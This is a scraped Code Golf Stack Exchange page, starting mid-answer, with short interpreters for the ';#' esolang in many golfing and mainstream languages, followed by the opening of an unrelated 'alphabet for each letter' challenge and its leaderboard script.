online!](https://tio.run/nexus/jelly#7doxbgJRDEXRxVgsIGlSsLkobVKnS5U2G0C02ciwkQkLQEKRmPnf9qGigTvC9z27YF1O35fXr1hOn7/vl7ef6/vj4en5ZTl/rOt6/O8rbr7d59N3vnHj136kSdEx4vMz/BAmL6tNJvaIoROnd9SVdJLJhWgT5NHPvTuQlB3RlkzhDhnE1CTUdDATRsTrTCwSAEnZvEYsgMJ1IuA0mR1L0I5oayfNwRDzA3UIKV3ObJHv1vkehyVo80qxDPJMzn9POLLFo49gUrMj2rap3STjsPqEoE5ozkh5tYlFDiY1m5eJNVC7VGScKTnINO2Itn8yXQ6RgqlJqOmWJoyIi/hYMk2bF4uVkGpy/qtCk42efhCWoB3R1k75PhlK1io0dVTTRtBrTizSYAnavFIsg/LVIuZkyQQna0e0RZTshIgsWH1CUNc1Z6RcyieBk7V5vVgMO6L/AA "Jelly – TIO Nexus") ### How it works ``` ṣ”#Ṗċ€”;%127Ọ Main link. Argument: s (string) ṣ”# Split s at hashes. Ṗ Pop; remove the last chunk. ċ€”; Count the semicola in each chunk. %127 Take the counts modulo 127. Ọ Unordinal; cast integers to characters. ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~16~~ ~~15~~ 14 bytes Code: ``` '#¡¨ʒ';¢127%ç? ``` Explanation: ``` '#¡ # Split on hashtags ¨ # Remove the last element ʒ # For each element (actually a hacky way, since this is a filter) ';¢ # Count the number of occurences of ';' 127% # Modulo by 127 ç # Convert to char ? # Pop and print without a newline ``` Uses the **05AB1E**-encoding. [Try it online!](https://tio.run/nexus/05ab1e#@6@ufGjhoRVllerWhxYZGpmrHl5u//@/NZWAsjU9AH1sGfaWkWqf8kC5flCHymgqI9cSZQA "05AB1E – TIO Nexus") [Answer] # x86 machine code on MS-DOS - 29 bytes ``` 00000000 31 d2 b4 01 cd 21 73 01 c3 3c 3b 75 06 42 80 fa |1....!s..<;u.B..| 00000010 7f 74 ed 3c 23 75 eb b4 02 cd 21 eb e3 |.t.<#u....!..| 0000001d ``` Commented assembly: ``` bits 16 org 100h start: xor dx,dx ; reset dx (used as accumulator) readch: mov ah,1 int 21h ; read character jnc semicolon ret ; quit if EOF semicolon: cmp al,';' ; is it a semicolon? jne hash ; if not, skip to next check inc dx ; increment accumulator cmp dl,127 ; if we get to 127, reset it; this saves us the je start ; hassle to perform the modulo when handling # hash: cmp al,'#' ; is it a hash? jne readch ; if not, skip back to character read mov ah,2 ; print dl (it was choosen as accumulator exactly int 21h ; because it's the easiest register to print) jmp start ; reset the accumulator and go on reading ``` [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), ~~34~~ 32 bytes ``` T`;#\x00-\xFF`\x7F\x00_ \+T`\x7Eo`\x00-\x7F_`\x7F[^\x7F]|\x7F$ ``` [Try it online!](https://tio.run/##K0otycxL/P8/JMFamUH38P6EeoZ4rhjtkIS6/AQG3fr4hProuPrYmnqV//@tSQbKpGvJSEzLIF1XGl3cRoYlysppaRnKGXSxjIxgS0tNJF1XIhl6lBNLgWGRMTiDgQxn5QMA "Retina 0.8.2 – Try It Online") Includes test case. Edit: Saved 2 bytes with some help from @MartinEnder. Now uses TIO link with null byte support thanks to @Deadcode. Note: Code includes unprintables, which I have replaced with hex escapes in the post. Explanation: The first line cleans up the input: `;` is changed to `\x7F`, `#` to `\x00` and everything else is deleted. Then whenever we see an `\x7F` that is not before another `\x7F`, we delete it and cyclically increment the code of any next character. This is iterated until there are no more `\x7F` characters left. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~25~~ ~~21~~ 19 bytes -2 bytes thanks to Adnan ``` Îvy';Q+y'#Qi127%ç?0 ``` Explanation: ``` Î Initialise stack with 0 and then push input v For each character y';Q+ If equal to ';', then increment top of stack y'#Qi If equal to '#', then 127% Modulo top of stack with 127 ç Convert to character ? Print without newline 0 Push a 0 to initialise the stack for the next print ``` [Try it online!](https://tio.run/nexus/05ab1e#@3@4r6xS3TpQu1JdOTDT0Mhc9fBye4P//62pBJSt6QHoY8uwt4xU@5QHyvWDOlRGUxm5ligDAA) [Answer] ## R, 97 90 86 84 bytes A function: ``` function(s)for(i in utf8ToInt(s)){F=F+(i==59);if(i==35){cat(intToUtf8(F%%127));F=0}} ``` When R starts, `F` is defined as `FALSE` (numeric `0`). Ungolfed: ``` function (s) for (i in utf8ToInt(s)) { F = F + (i == 59) if (i == 35) { cat(intToUtf8(F%%127)) F = 0 } } ``` [Answer] # Plain TeX, 156 bytes ``` \newcount\a\def\;{\advance\a by 1\ifnum\a=127\a=0\fi}\def\#{\message{\the\a}\a=0}\catcode`;=13\catcode35=13\let;=\;\let#=\#\loop\read16 to\>\>\iftrue\repeat ``` **Readable** ``` \newcount\a \def\;{ \advance\a by 1 \ifnum \a=127 \a=0 \fi } \def\#{ \message{\the\a} \a=0 } \catcode`;=13 \catcode35=13 \let;=\; \let#=\# \loop \read16 to \> \> \iftrue \repeat ``` [Answer] # Python, 82 bytes ``` lambda t:''.join(chr(len([g for g in x if g==';'])%127)for x in t.split('#')[:-1]) ``` [Answer] # [;#+](https://github.com/ConorOBrien-Foxx/shp), 59 bytes ``` ;;;;;~+++++++>~;~++++:>*(~<:-+!(<-;->(;))::<+-::!(<#>)-:-*) ``` [Try it online!](https://tio.run/nexus/shp#@28NAnXaEGBXB2Fa2Wlp1NlY6WoratjoWuvaaVhralpZ2WjrWlkBRZTtNHWtdLU0//@3phJQtqYHoI8tw94yUu1THijXD@pQGU1l5FqizAAA ";#+ – TIO Nexus") Input is terminated with a null byte. ## Explanation The generation is the same as from my [Generate ;# code answer](https://codegolf.stackexchange.com/a/122210/31957). The only difference here is is the iteration. ### Iteration ``` *(~<:-+!(<-;->(;))::<+-::!(<#>)-:-*) *( *) take input while != 0 ~ swap < read value from memory (;) : move forward to the accumulator memory spot (AMS) - flip Δ + subtract two accumulators into A ! flip A (0 -> 1, else -> 0) ( (;)) if A is nonzero, or, if A == ';' < read from AMS -;- increment > write to AMS :: move to cell 0 (#) < read value from memory (#) + subtract two accumulators into A - flip Δ :: move to AMS !( ) if A == '#' < read from AMS # output mod 127, and clear > write to AMS -:- move back to initial cell ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), 58 bytes ``` a;f(char*s){a+=*s^35?*s==59:-putchar(a%127);a=*s&&f(s+1);} ``` [Try it online!](https://tio.run/nexus/c-gcc#7Z3NasJAFIXXzVNILpWJ4sIWKW2QvogUhjZDXDSVRlfis1vtE2iMmZ/7zTYOZ5z7nXPvIpCjLZ35rO3vpC32drqctB/Pi/dJu1wuXt9mm932/MzYx/nTS1Ha0@Px2Jl2Oi/Kw1G@KrduqlFbbUwxOv22NfmqWTWz81o1eZFl62Y7@rbrxhTZPntwJi97WlIOsYZRSV7sWj3xdfqgbwXKuopIXpTZw39Mlbem0CV/qQe9DjdXW1dfv8uFWlUR52qpPVjkomtzlb1@l@2wR@zudBd1mNfQ4Vg/N5tDbkJRegd5OEQ9miEMafGxP4SLoPJ4VUnF@ig64Oi2OiEdSeUEawNI3@ceXBAoNUrTZBLOEE@aJAloMjADDBZPp2ISgSBQKo8RGkDCcYLBwSR0WQDVKE3biWZgkPAFyRCgZHKGFvyt2t/@ZAFUeaTQDOKpHO@ewMg9ju5DEzQ1StNt0k4Sf7LkCYAyQsMMLk@tYhKHJmgqDxPaQNqhgschJQ5lMNUoTf@JaXKQKDRJEtBklgYYLI7F/SqDqfJgoSVEVTneVQGTO53ekyyAapSm7SSfJ16VSRUwZagGG4yeZsUkGlkAVR4pNIPkowWbA0tM4sCqUZpGFNkIIbHIkicAynQNM7gclwciDqzK44XGMKB0jx9WHe7Ah@Mf "C (gcc) – TIO Nexus") (Hint: click **▼ Footer** to collapse it.) [Answer] # [MATL](https://github.com/lmendo/MATL), 29 bytes ``` ';#'&mXz!"@o?T}vn127\c&YD]]vx ``` Input is a string enclosed in single quotes. [Try it online!](https://tio.run/nexus/matl#@69urayulhtRpajkkG8fUluWZ2hkHpOsFukSG1tW8f@/ujWVgLI1PQB9bBn2lpFqn/JAuX5Qh8poKiPXEmV1AA "MATL – TIO Nexus") The FizzBuzz program is too long for the online interpreters; see it working offline in this gif: [![enter image description here](https://i.stack.imgur.com/4BtDy.gif)](https://i.stack.imgur.com/4BtDy.gif) ### Explanation The accumulator value is implemented as the number of elements in the stack. This makes the program slower than if the accumulator value was a single number in the stack, it but saves a few bytes. ``` ';#' % Push this string &m % Input string (implicit). Pushes row vector array of the same size with % entries 1, 2 or 0 for chars equal to ';', '#' or others, respectively Xz % Remove zeros. Gives a column vector ! % Transpose into a row vector " % For each entry @ % Push current entry o? % If odd T % Push true. This increases the accumulator (number of stack elements) } % Else v % Concatenate stack into a column vector n % Number of elements 127\ % Modulo 127 c % Convert to char &YD % Display immediately without newline ] % End ] % End vx % Concatenate stack and delete. This avoids implicit display ``` [Answer] ## Perl, 25 bytes ``` $_=chr(y%;%%%127)x/#/ ``` Run with `perl -043pe` (counted as 4 bytes, since `perl -e` is standard). Explanation: `-043` sets the line-terminator to `#` (ASCII 043). `-p` iterates over the input “lines” (actually #-delimited strings, now). `y%;%%` counts the number of `;` in each “line”. `x/#/` makes sure that we don’t print an extra character for programs that don’t end in a # (like the third testcase). `%127` should be fairly obvious. `$_=` is the usual boilerplate. [Answer] ## CJam, 27 bytes ``` 0q{";#"#") 127%co0 "S/=~}%; ``` Explanation: ``` 0 e# Push 0 q e# Push the input { e# For each character in the input: ";#"# e# Index of character in ";#", -1 if not found ") 127%co0 "S/ e# Push this string, split on spaces = e# Array access (-1 is the last element) ~ e# Execute as CJam code. ")" increments the accumulator, e# and "127%co0" preforms modulo by 127, converts to character, pops and outputs, and then pushes 0. }% e# End for ; e# Delete the accumulator ``` ## Alternative Solution, 18 bytes ``` q'#/);{';e=127%c}% ``` Explanation: ``` q e# Read the whole input '#/ e# Split on '#' ); e# Delete the last element { e# For each element: ';e= e# Count number of ';' in string 127% e# Modulo by 127 c e# Convert to character code }% e# End for ``` [Answer] # Brainfuck, 135 bytes ``` +[>+>>,>+++++[<------->-]<[<+>>++++[<------>-]<[<->[-]]<[>>>+<<<-]<->>[-]]<<[>>>--[>>+<<--]>[>->+<[>]>[<+>-]<<[<]>-]>[-]>.[-]<<<<<<-]<] ``` ## Ungolfed ``` Memory layout 0 1 2 3 4 5 6 7 1 f1 f2 in tmp acc d acc%d flag1 indicates hash flag2 indicates semicolon +[ infinite loop >+ set flag1 >>, input >+++++[<------->-]< subtract 35 (hash) [ not hash <+> set flag2 >++++[<------>-]< subtract 24 more (semicolon) [ not semicolon <-> clear flag2 [-] clear input ] < goto flag2 [ semicolon >>>+<<<- inc acc and clear flag2 ] <- clear flag1 >>[-] clear input ] << goto flag1 [ hash >>>--[>>+<<--]> set d 127 and goto acc [>->+<[>]>[<+>-]<<[<]>-] mod >[-]> clear d and goto acc%d .[-] print and clear result <<<<<<- clear flag1 ] <] ``` [Answer] # F#, ~~79~~ ~~91~~ 93 bytes ``` let rec r a=function|[]->()|';'::t->r(a+1)t|'#'::t->printf"%c"(char(a%127));r 0 t|_::y->r a y ``` ## Ungolfed ``` let rec run acc = function | [] -> () | ';'::xs -> run (acc + 1) xs | '#'::xs -> printf "%c" (char(acc % 127)) run 0 xs | x::xs -> run acc xs ``` [Try it online!](https://tio.run/##7VTBisMgEL3nKwalRFmytL0UDOsX9NbjsiwSFAOttmZyKPjvWUt@YCNtE0rnNujjPd7MPNNVJ@/8MBw1QtANBFBfpncNtt7F759KMh7LuhQCKxmY@thwjCUd@3NoHRqyaghrrEqvq812x3kdYA0Yf4W4JgwouA6kvlPR@hn1HJaXJ5vKR@dSv2hX3luWS0JJESWwFGfQunOPUEm4ZRMbOyHhFlvQ6Qukfwd9@US/bzvkvCjGbHOEFOTBRsymMmNKVhk7HWWWukGUGmOpneEc/2Wb0Wo6SmVgqOqTF3aZNmTI8tknNfwB "F# (Mono) – Try It Online") Edit: Was treating any other char than ';' as '#'. Changed it so that it's ignoring invalid chars. # Alternative # F#, ~~107~~ 104 bytes ``` let r i= let a=ref 0 [for c in i do c|>function|';'->a:=!a+1|'#'->printf"%c"(!a%127|>char);a:=0|_->()] ``` Use of reference cell saves 3 bytes ## Ungolfed ``` let run i = let a = ref 0; [for c in i do match c with | ';' -> a := !a + 1 | '#' -> printf "%c" (char(!a % 127)) a := 0 |_->() ] ``` [Try it online](https://tio.run/##7ZTdCsIwDIXv@xSxZWwig@mNYFlfRERCXWhBW6nzru9eJ76AK/4MMVcp9PAlp0npUp@88ykdux4C2JbBPcM2dAQNgy35ABqsAwsHDzoqujrdW@9iKcta4aad4WIZSzEczsG6nniheTXDYrlaR6UNhrkcbjVxX6tqvktcviiE/ER8hvLzsLE88a3qJ@3Kf8pyIYKzqCAw9vijHOeMv7mr1yAz/DNIZryKpvq2QhAZYb6wKE/ZRh2OV2GGRuB18MJM04aMsvxjP9IN "F# (Mono) – Try It Online") [Answer] # Processing.js (Khanacademy version), 118 bytes ``` var n="",a=0;for(var i=0;i<n.length;i++){if(n[i]===";"){a++;}if(n[i]==="#"){println(String.fromCharCode(a%127));a=0;}} ``` [Try it online!](https://www.khanacademy.org/computer-programming/new-program/6510279169736704) As the version of processing used does not have any input methods input is placed in n. [Answer] # [Labyrinth](https://github.com/m-ender/labyrinth), ~~61~~ 47 bytes ``` _36},)@ ; { ; 42_- "#- 1 _ ; 72 _ ) % """". ``` [Try it online!](https://tio.run/##y0lMqizKzCvJ@P8/3tisVkfTgctaAQiqgZSJUbwul5KyroKCIVe8grWCuRGQ0lRQ5VICAr3//61JBsqka8lITMsgXVcaXdxGhiXKymlpGcoZdLGMjGBLS00kXVciGXqUE0uBYZExOIOBDGflAwA "Labyrinth – Try It Online") ## Explanation [![color coded image of the solution code](https://i.stack.imgur.com/nqyCF.png)](https://i.stack.imgur.com/nqyCF.png) Code execution begins in the top left corner and the first semicolon discards an implicit zero off the stack and continues to the right. ### Orange * `_36` pushes 36 onto the stack. This is for comparing the input with `#` * `}` moves the top of the stack to the secondary stack * `,` pushes the integer value of the character on the stack * `)` increments the stack (if it's the end of the input, this will make the stack 0 and the flow of the program will proceed to the `@` and exit) * `{` moves the top of the secondary stack to the top of the primary stack * `-` pop y, pop x, push x - y. This is for comparing the input with `#` (35 in ascii). If the input was `#` the code will continue to the purple section (because the top of the stack is 0 the IP continues in the direction it was moving before), otherwise it will continue to the green section. ### Purple * `127` push 127 to the stack * `%` pop x, pop y, push x%y * `.` pop the top of the stack (the accumulator) and output as a character From here the gray code takes us to the top left corner of the program with nothing on the stack. ### Green * `_24` push 24 onto the stack * `-` pop x, pop y, push x-y. 24 is the difference between `#` and `;` so this checks if the input was `;`. If it was `;` the code continues straight towards the `)`. Otherwise it will turn to the `#` which pushes the height of the stack (always a positive number, forcing the program to turn right at the next intersection and miss the code which increments the accumulator) * `;` discard the top of the stack * `)` increment the top of the stack which is either an implicit zero or it is a previously incremented zero acting as the accumulator for output From here the gray code takes us to the top left corner of the program with the stack with only the accumulator on it. ### Gray Quotes are no-ops, `_` pushes a 0 to the stack, and `;` discards the top of the stack. All of this is just code to force the control-flow in the right way and discarding anything extra from the top of the stack. [Answer] # Awk, 57 bytes `BEGIN{RS="#"}RT=="#"{printf("%c",gsub(";","")%127)}` Explanation: * `BEGIN{RS="#"}`: make `#` record delimeter * `RT=="#"`: ignore the record without ending `#` * `gsub(";","")%127`: count `;` and mod 127 * `printf("%c",_)`: print as ASCII [Answer] # [Perl 5](https://www.perl.org/) with `-043paF(?!^);`, 17 bytes Golfed down a bit by [dom-hastings](https://codegolf.stackexchange.com/users/9365/dom-hastings) ``` $_=/#/&&chr@F%127 ``` [Try it online!](https://tio.run/##K0gtyjH9/18l3lZfWV9NLTmjyMFN1dDI/P9/a5KBMulaMhLTMkjXlUYXt5FhibJyWlqGcgZdLCMj2NJSE0nXlUiGHuXEUmBYZAzOYCDDWfn/8gtKMvPziv/rGpgYFyS6adgrxmlaAwA "Perl 5 – Try It Online") [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal), 10 / 20 bytes There's two main schools of thought for interpreting `;#`: * Go through every command and apply it **(Iterative)** * Split the program into strings of `;`, then count and output. **(Split 'n Count)** Here's both! --- # Iterative, 20 bytes ``` 0$(\;n=ß›\#n=[₇‹%C₴0 ``` [Try it Online!](http://lyxal.pythonanywhere.com?flags=&code=0%24%28%5C%3Bn%3D%C3%9F%E2%80%BA%5C%23n%3D%5B%E2%82%87%E2%80%B9%25C%E2%82%B40&inputs=%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3Bq%3B%3B%3B%3B%3B%3Bw%3B%3B%3B%3B%3B%3Be%3B%3B%3B%3Br%3B%3B%3B%3B%3B%3B%3B%3Bt%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3By%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3Bu%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3Bi%3B%3Bo%3B%3B%3B%3B%3B%3B%3Bp%3B%3B%3B%3B%3B%3B%3Ba%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3Bs%3B%3B%3B%3B%3B%3B%3Bd%3Bf%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3Bgg%3B%3B%3B%3B%3B%3B%3B%3B%3Bh%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3Bjkl%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%23&header=&footer=) Explanation: ``` # Implicit input 0$ # Initialize accumulator at the bottom of the stack ( # For each command in the program \;n=ß # If command = ';': › # Increment accumulator \#n=[ # If command = '#': ₇‹% # Accumulator % 127 C # Convert accumulator to character ₴ # Print accumulator w/o newline 0 # Reset accumulator ``` --- ]
[Question] [ Our task is to, for each letter of the (English) alphabet, write a program that prints the alphabet, in a language whose *name* starts with that letter. **Input:** *none* **Output:** ``` abcdefghijklmnopqrstuvwxyz ``` *uppercase and trailing newline optional* **Rules**: * The scoring metric is the length of the programming language *name*, **plus** the length of the code. Hence, C will be assessed a "penalty" of 1, while GolfScript will be assessed a penalty of 10. * One language/implementation per answer. Multiple answers are encouraged. * If a programming language name's first letter is not an English letter, it should not be coerced into one. It will be treated as a separate letter (meaning less competition). * No answer will be accepted until every English letter has a solution. --- Current rankings: * [**A**​PL](https://codegolf.stackexchange.com/a/83274): 5 * [**B**​rachylog](https://codegolf.stackexchange.com/a/170986): 11 * [**C**​anvas](https://codegolf.stackexchange.com/a/196625): 7 * [**D**​OS](https://codegolf.stackexchange.com/a/206395): 13 * [**E**​so2D](https://codegolf.stackexchange.com/a/215811): 20 * [**F**​ish](https://codegolf.stackexchange.com/a/193865): 20 * [**G**​aia](https://codegolf.stackexchange.com/a/196629): 6 * [**H**​usk](https://codegolf.stackexchange.com/a/206362): 8 * [**I**​PEL](https://codegolf.stackexchange.com/a/206366): 23 * [**J**​apt](https://codegolf.stackexchange.com/a/196632): 6 * [**K**eg​](https://codegolf.stackexchange.com/a/195077): 6 * [**L**​y](https://codegolf.stackexchange.com/a/206363/92069): 13 * [**M**​athGolf](https://codegolf.stackexchange.com/a/196630/85052): 9 * [**N**​i](https://codegolf.stackexchange.com/a/206486/92069): 15 * [**O**​wl](https://codegolf.stackexchange.com/a/2110): 14 * [**P**​ip](https://codegolf.stackexchange.com/a/196628/85052): 4 * [**Q**​uadR](https://codegolf.stackexchange.com/a/214902/91569): 31 * [**R**​uby](https://codegolf.stackexchange.com/a/2079): 17 * [**S**​tax](https://codegolf.stackexchange.com/a/196627/85052): 6 * [**T**​hunno](https://codegolf.stackexchange.com/a/257190/114446): 8 * [**U**​nix Shell](https://codegolf.stackexchange.com/a/34637): 31 * [**V**​](https://codegolf.stackexchange.com/a/196631/85052): 4 * [**W**​](https://codegolf.stackexchange.com/a/206514/92069): 4 * [**X**​Jam](https://codegolf.stackexchange.com/a/215801): 10 * [**Y**​orick](https://codegolf.stackexchange.com/a/154226): 36 * [**Z**​80Golf](https://codegolf.stackexchange.com/a/171015): 16 Tell me if I'm missing anybody. ## Automatic leaderboard (experimental) ``` var QUESTION_ID=2078;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&r.indexOf('non-competing')===-1&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],lang:/<a/.test(a[1])?jQuery(a[1]).text():a[1],link:s.share_link})}),e.sort(function(e,s){var d=e.lang[0].toLowerCase(),a=s.lang[0].toLowerCase();return(d>a)-(d<a)||e.size-s.size});var s={},a=null,n="A";e.forEach(function(e){n=e.lang[0].toUpperCase(),a=e.size;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+" is for").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.lang,p=o[0].toUpperCase();s[p]=s[p]||{language:e.language,lang:e.lang,letter:p,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return(e.letter>s.letter)-(e.letter<s.letter)});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.language).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),jQuery("#languages").append(jQuery(i))}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*(?:<[^>]+>)?(?:[^]+?for )?((?:<a[^>]*?>)?(?:(?! [(=→-])[^\n,:])*[^\s,:])(?:[,:]| [(=→-]).*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} /* font fix */ body {font-family: Arial,"Helvetica Neue",Helvetica,sans-serif;} /* #language-list x-pos fix */ #answer-list {margin-right: 200px;} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Winners by Letter</h2> <table class="language-list"> <thead> 